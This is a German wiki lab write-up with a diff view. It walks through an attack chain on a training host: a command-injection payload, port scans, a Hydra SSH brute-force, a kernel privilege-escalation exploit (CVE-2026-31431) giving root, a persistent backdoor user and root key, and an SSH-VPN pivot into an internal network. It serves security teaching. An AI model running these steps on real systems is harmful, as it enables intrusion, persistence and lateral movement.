Attack Chain Example: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(4 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
== VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc ==
+
== VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc → SSH-VPN Pivot ==
  
 
; Ziel
 
; Ziel
: Diese Lab-Übung zeigt eine realistische Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen gecrackte Credentials, und abschließend Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang.
+
: Diese Lab-Übung zeigt eine vollständige Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen schwache Credentials, Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang, Stabilisierung des Zugriffs über einen persistenten Benutzer, und abschließend Aufbau eines SSH-VPN, um vom Angreifer-Host (Kali) direkt in das interne DMZ-Segment 10.0.10.0/24 zu pivotieren.
  
 +
<!---
 
=== Voraussetzungen ===
 
=== Voraussetzungen ===
  
* VulnSite läuft auf <code>victim.secure.local</code> (192.168.16.213)
+
* VulnSite läuft hinter <code>victim.secure.local</code> (192.168.16.213)
 
* SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)
 
* SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)
 
* User <code>christine</code> existiert mit UID 1006 und schlechtem Passwort
 
* User <code>christine</code> existiert mit UID 1006 und schlechtem Passwort
Zeile 12: Zeile 13:
 
* Python3 für Copy Fail Exploit
 
* Python3 für Copy Fail Exploit
 
* Kali Linux mit nmap, Hydra, SSH Client
 
* Kali Linux mit nmap, Hydra, SSH Client
 +
--->
  
 
=== Phase 1: Command Injection & Reconnaissance ===
 
=== Phase 1: Command Injection & Reconnaissance ===
  
 
; 1a. Web-Interface erkunden
 
; 1a. Web-Interface erkunden
: VulnSite unter <code>http://victim.secure.local/</code> aufrufen, <code>host.php</code> anklicken (Command Injection Modul).
+
: VulnSite unter <code>http://victim2XX.secure.local/</code> aufrufen, <code>host.php</code> anklicken (Command Injection Modul).
  
 
; 1b. Vulnerability ausnutzen
 
; 1b. Vulnerability ausnutzen
Zeile 34: Zeile 36:
  
 
; 2a. Standard-Portscan von Kali
 
; 2a. Standard-Portscan von Kali
: Von Kali aus scannen:
+
*nmap -sS 192.168.16.213
<pre>
+
: Zeigt die Standard-Services (22, 25, 143, 389, 443, 445, 465, 993).
nmap -sS 192.168.16.213
 
</pre>
 
: Zeigt die Standard-Services (22, 25, 143, 389, 443, 445, 465, 993) sowie dass Port 22 offen ist.
 
  
 
; 2b. All-Ports-Scan
 
; 2b. All-Ports-Scan
: Suche nach zusätzlichen SSH-Instanzen:
+
*nmap -sS 192.168.16.213 -p-
<pre>
 
nmap -sS 192.168.16.213 -p-
 
</pre>
 
 
: Findet Port 9922 als offen (weitergeleitet an internes SSH auf 10.0.10.123:22).
 
: Findet Port 9922 als offen (weitergeleitet an internes SSH auf 10.0.10.123:22).
  
; 2c. Service-Version
+
; 2c. Service-Version bestätigen
: Bestätige SSH auf 9922:
+
*nmap -sV 192.168.16.213 -p 9922
<pre>
 
nmap -sV 192.168.16.213 -p 9922
 
</pre>
 
 
: Zeigt <code>OpenSSH 9.2p1 Debian 2+deb12u7</code>.
 
: Zeigt <code>OpenSSH 9.2p1 Debian 2+deb12u7</code>.
  
 
=== Phase 3: SSH Brute-Force mit Hydra ===
 
=== Phase 3: SSH Brute-Force mit Hydra ===
  
; 3a. Vorbereitung
+
; 3a. Hydra-Angriff
: Stelle sicher, dass die Wordlist <code>bad-passwords</code> das Passwort für <code>christine</code> enthält (in diesem Lab: <code>112233</code>).
+
*hydra -l christine -P bad-passwords -s 9922 192.168.16.213 ssh
 
+
: Hydra findet:
; 3b. Hydra-Angriff
 
: Starte den Brute-Force:
 
 
<pre>
 
<pre>
hydra -l christine -P bad-passwords -s 9922 192.168.16.213 ssh
+
[9922][ssh] host: 192.168.16.213   login: christine  password: 112233
 
</pre>
 
</pre>
: Hydra findet schnell: <code>[9922][ssh] host: 192.168.16.213 login: christine password: 112233</code>
 
  
; 3c. SSH-Login
+
; 3b. SSH-Login
: Mit den gecracten Credentials anmelden:
+
*ssh -l christine -p 9922 192.168.16.213
<pre>
+
: Passwort: <code>112233</code>. Nach erfolgreicher Authentifizierung landet man in der <code>christine@victim:~$</code> Shell.
ssh -l christine -p 9922 192.168.16.213
 
</pre>
 
: Passwort: <code>112233</code>
 
: Nach erfolgreicher Authentifizierung landet man in der <code>christine@victim:~$</code> Shell.
 
  
 
=== Phase 4: CVE-2026-31431 (Copy Fail) Privilege Escalation ===
 
=== Phase 4: CVE-2026-31431 (Copy Fail) Privilege Escalation ===
  
 
; 4a. Exploit herunterladen
 
; 4a. Exploit herunterladen
: Vom GitHub-Repository klonen:
+
*git clone https://github.com/rootsecdev/cve_2026_31431/
<pre>
+
*cd cve_2026_31431/
christine@victim:~$ git clone https://github.com/rootsecdev/cve_2026_31431/
 
christine@victim:~$ cd cve_2026_31431/
 
</pre>
 
  
 
; 4b. Vulnerabilität testen
 
; 4b. Vulnerabilität testen
: Zuerst Detector ausführen:
+
*python3 test_cve_2026_31431.py
<pre>
 
christine@victim:~/cve_2026_31431$ python3 test_cve_2026_31431.py
 
</pre>
 
 
: Ausgabe sollte sein:
 
: Ausgabe sollte sein:
 
<pre>
 
<pre>
Zeile 93: Zeile 73:
 
[!]  Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
 
[!]  Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
 
</pre>
 
</pre>
: Das Kernel-Subsystem <code>algif_aead</code> ist anfällig und kann Page-Cache manipuliert werden.
+
: Das Kernel-Subsystem <code>algif_aead</code> ist anfällig, der Page-Cache kann manipuliert werden.
 
 
; 4c. Copy Fail Exploit starten
 
: Exploit mit Shell-Flag ausführen:
 
<pre>
 
christine@victim:~/cve_2026_31431$ python3 exploit_cve_2026_31431.py --shell
 
</pre>
 
  
; 4d. Exploit-Ablauf
+
; 4c. Exploit starten
 +
*python3 exploit_cve_2026_31431.py --shell
 
: Der Exploit führt folgende Schritte aus:
 
: Der Exploit führt folgende Schritte aus:
 
* Findet Christines UID in <code>/etc/passwd</code>: <code>1006</code>
 
* Findet Christines UID in <code>/etc/passwd</code>: <code>1006</code>
 
* Patcht die 4 Bytes der UID im Page-Cache: <code>1006</code> → <code>0000</code>
 
* Patcht die 4 Bytes der UID im Page-Cache: <code>1006</code> → <code>0000</code>
* Bestätigt Patch erfolgreich (Page-Cache liest jetzt <code>0000</code>)
+
* Bestätigt den Patch (Page-Cache liest jetzt <code>0000</code>)
 
* Ruft <code>getpwnam('christine')</code> auf: libc sieht jetzt UID 0
 
* Ruft <code>getpwnam('christine')</code> auf: libc sieht jetzt UID 0
* Exec's <code>su christine</code> automatisch
+
* Führt automatisch <code>su christine</code> aus
 +
: Passwort-Eingabe: <code>112233</code>
  
; 4e. Passwort-Eingabe
+
; 4d. Root-Shell prüfen
: Der <code>su</code>-Befehl fragt nach Christines Passwort:
+
*id
 
<pre>
 
<pre>
Password:
+
uid=0(root) gid=1006(christine) groups=1006(christine)
 
</pre>
 
</pre>
: Eingabe: <code>112233</code> (das gleiche SSH-Passwort)
+
: UID ist 0 (root), GID bleibt 1006, weil nur das UID-Mapping in <code>/etc/passwd</code> gepatched wurde.
  
; 4f. Root-Shell
+
=== Phase 5: Zugriff stabilisieren ===
: Erfolgreich:
 
<pre>
 
root@victim:~/cve_2026_31431# id
 
uid=0(root) gid=1006(christine) groups=1006(christine)
 
</pre>
 
: UID ist 0 (root), GID bleibt 1006, weil nur die UID-Mapping in <code>/etc/passwd</code> gepatched wurde.
 
  
 +
Der Copy-Fail-Zugriff ist flüchtig (Page-Cache-Patch). Für zuverlässigen, wiederholbaren root-Zugang wird ein persistenter sudo-Benutzer angelegt und anschließend ein key-basierter root-Login von Kali eingerichtet.
  
== Stabilisieren===
+
; 5a. Persistenten sudo-User anlegen
;User Anlegen
+
*/usr/sbin/useradd -ms /bin/bash -G sudo hacker
*/usr/sbin/useradde -ms /bin/bash -G sudo hacker
 
 
*passwd hacker
 
*passwd hacker
;Einlogen als Hacker und zu root machen
+
 
 +
; 5b. Als hacker einloggen und root werden
 
*ssh -p 9922 hacker@192.168.16.213
 
*ssh -p 9922 hacker@192.168.16.213
 
*sudo -i
 
*sudo -i
;Pubkey von kali in die /root/.ssh/authorized_keys vom Victim eintragen
+
 
;Einlogen von kali root zu victim root
+
; 5c. Kali-Pubkey für root hinterlegen
 +
: Öffentlichen Schlüssel von Kali in <code>/root/.ssh/authorized_keys</code> auf victim eintragen.
 +
 
 +
; 5d. Key-basierten root-Login von Kali prüfen
 
*ssh -p 9922 root@192.168.16.213
 
*ssh -p 9922 root@192.168.16.213
==SSH für Tunnel vorbereiten==
 
*sudo vim /etc/ssh/sshd_config
 
PermitTunnel yes
 
*systemctl restart ssh
 
  
*sudo ssh -w 0:0 root@192.168.16.213 -p 9922
+
=== Phase 6: SSH-VPN Tunnel in die DMZ ===
  
 +
Über die bestehende SSH-Strecke wird ein Layer-3-Tunnel aufgebaut und das gesamte DMZ-Segment <code>10.0.10.0/24</code> über den Pivot geroutet. Kali erreicht danach interne Dienste direkt, ohne Werkzeuge auf das Opfer nachladen zu müssen.
  
== Adressvergabe ==
+
{| class="wikitable"
 +
! Rolle !! Interface !! Adresse
 +
|-
 +
| Kali (Angreifer) || tun0 || 10.9.0.1/30
 +
|-
 +
| victim (Pivot, root) || tun0 || 10.9.0.2/30
 +
|-
 +
| victim || eth0 || 10.0.10.123/24
 +
|}
  
=== Auf dem Client ===
+
; 6a. SSH für den Tunnel vorbereiten
 +
: Auf victim:
 +
*vim /etc/ssh/sshd_config
 +
<pre>
 +
PermitTunnel yes
 +
</pre>
 +
*systemctl restart ssh
 +
 
 +
; 6b. Tunnel von Kali aufbauen
 +
*sudo ssh -w 0:0 -p 9922 root@192.168.16.213
  
;Adresse zuweisen und Interface aktivieren
+
; 6c. Adressvergabe auf dem Client (Kali)
 
*sudo ip addr add 10.9.0.1/30 dev tun0
 
*sudo ip addr add 10.9.0.1/30 dev tun0
 
*sudo ip link set tun0 up
 
*sudo ip link set tun0 up
  
=== Auf dem Server it2XX ===
+
; 6d. Adressvergabe auf dem Server (victim)
 
+
*ip addr add 10.9.0.2/30 dev tun0
;Adresse zuweisen und Interface aktivieren
+
*ip link set tun0 up
*sudo ip addr add 10.9.0.2/30 dev tun0
 
*sudo ip link set tun0 up
 
 
 
=== Test der Punkt-zu-Punkt-Verbindung ===
 
  
;Gegenstelle anpingen
+
; 6e. Punkt-zu-Punkt-Verbindung testen
 
*ping -c 3 10.9.0.2
 
*ping -c 3 10.9.0.2
 +
: Erst wenn dieser Ping funktioniert, machen Routing und NAT Sinn.
  
Erst wenn dieser Ping funktioniert, machen Routing und NAT Sinn.
+
; 6f. Routing und NAT auf dem Server (victim)
 +
*echo 'net.ipv4.ip_forward=1' | tee /etc/sysctl.d/99-forward.conf
 +
*sysctl --system
 +
*iptables -t nat -A POSTROUTING -s 10.9.0.0/30 -j MASQUERADE
 +
*iptables -P FORWARD ACCEPT
  
== Routing und NAT auf dem Server ==
+
; 6g. Route auf dem Client (Kali)
 +
*sudo ip route add 10.0.10.0/24 via 10.9.0.2
  
;IP-Forwarding dauerhaft aktivieren
+
; 6h. Interne Hosts direkt von Kali erreichen
*echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-forward.conf
+
*nmap -sS 10.0.10.0/24
*sudo sysctl --system
+
: Der komplette DMZ-Bereich ist erreichbar, als säße Kali physisch im internen Netz.
  
;ACCEPT und NAT einrichten
+
=== Automatisierung (Ausblick) ===
*iptables -t nat -A POSTROUTING -s 10.9.0.0/30 -j MASQUERADE
 
*iptables -P FORWARD ACCEPT
 
  
== Automatisierung über die ssh-config ==
+
OpenSSH kann Adressvergabe und Routing auf der Client-Seite selbst anstossen.
  
OpenSSH kann Adressvergabe und Routing selbst anstossen.
+
;Datei auf Kali anlegen
 
 
;Datei anlegen
 
 
*vim ~/.ssh/config
 
*vim ~/.ssh/config
 
 
<pre>
 
<pre>
Host vpn-it2XX
+
Host vpn-victim
     HostName it2XX.example.net
+
     HostName 192.168.16.213
 +
    Port 9922
 
     User root
 
     User root
 
     Tunnel point-to-point
 
     Tunnel point-to-point
 
     TunnelDevice 0:0
 
     TunnelDevice 0:0
 
     PermitLocalCommand yes
 
     PermitLocalCommand yes
     LocalCommand ip addr add 10.9.0.1/30 dev tun0 && ip link set tun0 up && ip route add 192.168.2XX.0/24 via 10.9.0.2
+
     LocalCommand ip addr add 10.9.0.1/30 dev tun0 && ip link set tun0 up && ip route add 10.0.10.0/24 via 10.9.0.2
 
     ServerAliveInterval 30
 
     ServerAliveInterval 30
 
     ServerAliveCountMax 3
 
     ServerAliveCountMax 3
 
</pre>
 
</pre>
 
Auf der Serverseite übernimmt ein Skript die Gegenseite:
 
 
;Skript anlegen
 
*sudo vim /usr/local/sbin/tun-up.sh
 
 
<pre>
 
#!/bin/bash
 
ip addr add 10.9.0.2/30 dev tun0
 
ip link set tun0 up
 
</pre>
 
 
;Skript ausführbar machen
 
*sudo chmod 755 /usr/local/sbin/tun-up.sh
 
  
 
;Verbindung starten
 
;Verbindung starten
*sudo ssh vpn-it2XX
+
*sudo ssh vpn-victim
 
+
: Die Server-Seite (tun0-Adresse auf victim) muss danach noch manuell vergeben werden (6d).
 
 
 
 
 
 
<!---
 
 
 
=== Phase 5: Cleanup ===
 
 
 
; 5a. Page-Cache clearen
 
: Nach erfolgreicher Escalation Cache-Manipulation aufräumen:
 
<pre>
 
root@victim:~/cve_2026_31431# echo 3 > /proc/sys/vm/drop_caches
 
</pre>
 
: Damit wird die gepatchte <code>/etc/passwd</code> Page aus dem Cache entfernt, die echte Disk-Version wird wieder verwendet.
 
 
 
; 5b. Verifizierung
 
: Optional: Neue Shell öffnen und verifizieren, dass <code>christine</code> wieder normale UID hat:
 
<pre>
 
root@victim:~# su - christine
 
Password: 112233
 
christine@victim:~$ id
 
uid=1006(christine) gid=1006(christine) groups=1006(christine)
 
</pre>
 
 
 
=== Technischer Hintergrund ===
 
 
 
; Command Injection
 
: PHP führt Benutzereingabe direkt via <code>shell_exec()</code> aus. Mit dem Semikolon können beliebige Kommandos gehängt werden.
 
 
 
; SSH Port-Forwarding
 
: Die Firewall (nftables NAT) leitet Traffic auf Port 9922 zu internem SSH um:
 
<pre>
 
ip daddr 192.168.16.213 tcp dport 9922 dnat to 10.0.10.123:22
 
</pre>
 
 
 
; Brute-Force
 
: Hydra versucht alle Passwörter aus der Wordlist sequenziell. Mit schlechten Passwörtern ist Erfolg wahrscheinlich.
 
 
 
; Copy Fail (CVE-2026-31431)
 
: Das Kernel-Modul <code>algif_aead</code> im XFRM-Subsystem hat eine Page-Cache-Write-Vulnerability. Durch gezielte Konstruktion von AES-GCM-Operationen lässt sich ein 4-Byte-Schreibzugriff auf beliebige, lesbare Dateien erzielen (hier: <code>/etc/passwd</code>). Die UID wird gepatched, aber <code>/etc/shadow</code> bleibt intakt. PAM validiert das Passwort trotzdem gegen die Shadow-Datei, und <code>su</code> nutzt die gepatchte UID zum <code>setuid(0)</code>.
 
 
 
=== Mitigationen ===
 
 
 
* Kernel-Update auf Version mit upstream-Patch (nach 13. Mai 2026)
 
* Eingabe-Validierung in PHP-Anwendungen (keine Shell-Eval)
 
* Starke SSH-Passwörter (nicht in Wordlists)
 
* nftables Firewall mit strengen Forward-Regeln
 
* AppArmor/SELinux Profile für Apache/PHP
 
 
 
=== Wiederholung & Varianten ===
 
 
 
; Variante A: Ohne Command Injection
 
: Direkt zum Port-Scan springen, wenn SSH-Port bekannt ist. Entspricht Social Engineering oder Reconnaissance mit anderen Mitteln.
 
 
 
; Variante B: Anderer Exploit statt Copy Fail
 
: Dirty Frag, Dirty Pipe oder andere LPE-CVEs (je nach Kernel-Version).
 
 
 
; Variante C: Pivoting ins interne Netz
 
: Nach root-Zugang auf victim — interne Netzwerk-Infrastruktur (LDAP, Mail-Server auf 10.0.10.0/24) scannen und weiter angreifen.
 
--->
 

Aktuelle Version vom 13. August 2026, 14:31 Uhr

VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc → SSH-VPN Pivot

Ziel
Diese Lab-Übung zeigt eine vollständige Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen schwache Credentials, Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang, Stabilisierung des Zugriffs über einen persistenten Benutzer, und abschließend Aufbau eines SSH-VPN, um vom Angreifer-Host (Kali) direkt in das interne DMZ-Segment 10.0.10.0/24 zu pivotieren.


Phase 1: Command Injection & Reconnaissance

1a. Web-Interface erkunden
VulnSite unter http://victim2XX.secure.local/ aufrufen, host.php anklicken (Command Injection Modul).
1b. Vulnerability ausnutzen
Im Eingabefeld folgende Payload eingeben:
xinux.de ; grep bash /etc/passwd
Das Semikolon beendet den host-Befehl und führt danach grep bash /etc/passwd aus. Im Output sichtbar sind alle User mit Login-Shell, z.B.:
christine:x:1006:1006:Christine User:/home/christine:/bin/bash
1c. Erste Reconnaissance
Notiere die Usernamen mit Shell (/bin/bash, /bin/sh). Ziel-User: christine

Phase 2: Port-Scanning

2a. Standard-Portscan von Kali
  • nmap -sS 192.168.16.213
Zeigt die Standard-Services (22, 25, 143, 389, 443, 445, 465, 993).
2b. All-Ports-Scan
  • nmap -sS 192.168.16.213 -p-
Findet Port 9922 als offen (weitergeleitet an internes SSH auf 10.0.10.123:22).
2c. Service-Version bestätigen
  • nmap -sV 192.168.16.213 -p 9922
Zeigt OpenSSH 9.2p1 Debian 2+deb12u7.

Phase 3: SSH Brute-Force mit Hydra

3a. Hydra-Angriff
  • hydra -l christine -P bad-passwords -s 9922 192.168.16.213 ssh
Hydra findet:
[9922][ssh] host: 192.168.16.213   login: christine   password: 112233
3b. SSH-Login
  • ssh -l christine -p 9922 192.168.16.213
Passwort: 112233. Nach erfolgreicher Authentifizierung landet man in der christine@victim:~$ Shell.

Phase 4: CVE-2026-31431 (Copy Fail) Privilege Escalation

4a. Exploit herunterladen
4b. Vulnerabilität testen
  • python3 test_cve_2026_31431.py
Ausgabe sollte sein:
[!] VULNERABLE to CVE-2026-31431.
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
Das Kernel-Subsystem algif_aead ist anfällig, der Page-Cache kann manipuliert werden.
4c. Exploit starten
  • python3 exploit_cve_2026_31431.py --shell
Der Exploit führt folgende Schritte aus:
  • Findet Christines UID in /etc/passwd: 1006
  • Patcht die 4 Bytes der UID im Page-Cache: 10060000
  • Bestätigt den Patch (Page-Cache liest jetzt 0000)
  • Ruft getpwnam('christine') auf: libc sieht jetzt UID 0
  • Führt automatisch su christine aus
Passwort-Eingabe: 112233
4d. Root-Shell prüfen
  • id
uid=0(root) gid=1006(christine) groups=1006(christine)
UID ist 0 (root), GID bleibt 1006, weil nur das UID-Mapping in /etc/passwd gepatched wurde.

Phase 5: Zugriff stabilisieren

Der Copy-Fail-Zugriff ist flüchtig (Page-Cache-Patch). Für zuverlässigen, wiederholbaren root-Zugang wird ein persistenter sudo-Benutzer angelegt und anschließend ein key-basierter root-Login von Kali eingerichtet.

5a. Persistenten sudo-User anlegen
  • /usr/sbin/useradd -ms /bin/bash -G sudo hacker
  • passwd hacker
5b. Als hacker einloggen und root werden
  • ssh -p 9922 hacker@192.168.16.213
  • sudo -i
5c. Kali-Pubkey für root hinterlegen
Öffentlichen Schlüssel von Kali in /root/.ssh/authorized_keys auf victim eintragen.
5d. Key-basierten root-Login von Kali prüfen
  • ssh -p 9922 root@192.168.16.213

Phase 6: SSH-VPN Tunnel in die DMZ

Über die bestehende SSH-Strecke wird ein Layer-3-Tunnel aufgebaut und das gesamte DMZ-Segment 10.0.10.0/24 über den Pivot geroutet. Kali erreicht danach interne Dienste direkt, ohne Werkzeuge auf das Opfer nachladen zu müssen.

Rolle Interface Adresse
Kali (Angreifer) tun0 10.9.0.1/30
victim (Pivot, root) tun0 10.9.0.2/30
victim eth0 10.0.10.123/24
6a. SSH für den Tunnel vorbereiten
Auf victim:
  • vim /etc/ssh/sshd_config
PermitTunnel yes
  • systemctl restart ssh
6b. Tunnel von Kali aufbauen
  • sudo ssh -w 0:0 -p 9922 root@192.168.16.213
6c. Adressvergabe auf dem Client (Kali)
  • sudo ip addr add 10.9.0.1/30 dev tun0
  • sudo ip link set tun0 up
6d. Adressvergabe auf dem Server (victim)
  • ip addr add 10.9.0.2/30 dev tun0
  • ip link set tun0 up
6e. Punkt-zu-Punkt-Verbindung testen
  • ping -c 3 10.9.0.2
Erst wenn dieser Ping funktioniert, machen Routing und NAT Sinn.
6f. Routing und NAT auf dem Server (victim)
  • echo 'net.ipv4.ip_forward=1' | tee /etc/sysctl.d/99-forward.conf
  • sysctl --system
  • iptables -t nat -A POSTROUTING -s 10.9.0.0/30 -j MASQUERADE
  • iptables -P FORWARD ACCEPT
6g. Route auf dem Client (Kali)
  • sudo ip route add 10.0.10.0/24 via 10.9.0.2
6h. Interne Hosts direkt von Kali erreichen
  • nmap -sS 10.0.10.0/24
Der komplette DMZ-Bereich ist erreichbar, als säße Kali physisch im internen Netz.

Automatisierung (Ausblick)

OpenSSH kann Adressvergabe und Routing auf der Client-Seite selbst anstossen.

Datei auf Kali anlegen
  • vim ~/.ssh/config
Host vpn-victim
    HostName 192.168.16.213
    Port 9922
    User root
    Tunnel point-to-point
    TunnelDevice 0:0
    PermitLocalCommand yes
    LocalCommand ip addr add 10.9.0.1/30 dev tun0 && ip link set tun0 up && ip route add 10.0.10.0/24 via 10.9.0.2
    ServerAliveInterval 30
    ServerAliveCountMax 3
Verbindung starten
  • sudo ssh vpn-victim
Die Server-Seite (tun0-Adresse auf victim) muss danach noch manuell vergeben werden (6d).